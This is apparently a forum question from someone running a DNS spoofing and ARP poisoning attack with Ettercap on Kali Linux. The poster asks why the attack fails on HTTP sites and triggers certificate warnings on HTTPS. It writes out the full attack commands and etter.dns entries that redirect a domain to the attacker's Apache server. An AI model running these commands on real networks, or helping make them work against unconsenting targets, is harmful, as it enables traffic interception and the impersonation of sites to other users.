I am trying to perform a DNS spoofing attack, but the confusing thing is that when I'm performing the attack on HTTP sites, nothing happens.
But when I perform it on HTTPS sites, when I reach the target site, I get the message: "Your Connection is not Private"!
My commands on Kali Linux by using Ettercap was
echo > 1 /proc/sys/net/ipv4/ip_forward
and then I edited the
etter.conf and deleted both # under the iptables section and put my website target in
etter.dns under the microsoft sucks like this:
*.example.com A my ip
and the same last one but start with
www.example.com A my ip
next command was
service apache2 start
ettercap -T -q -i wlan0 -M arp:remote -P dns_spoof /ROUTER IP/ /TARGET IP/
So after these commands i definitely expect to display my Apache instead of "example.com", but as i said the result was no effect on http sites, and "Your Connection is not Private" message on https.
My main question is why doesn't this attack work for both of http, https, Do you think it's because the router settings or is there something missing?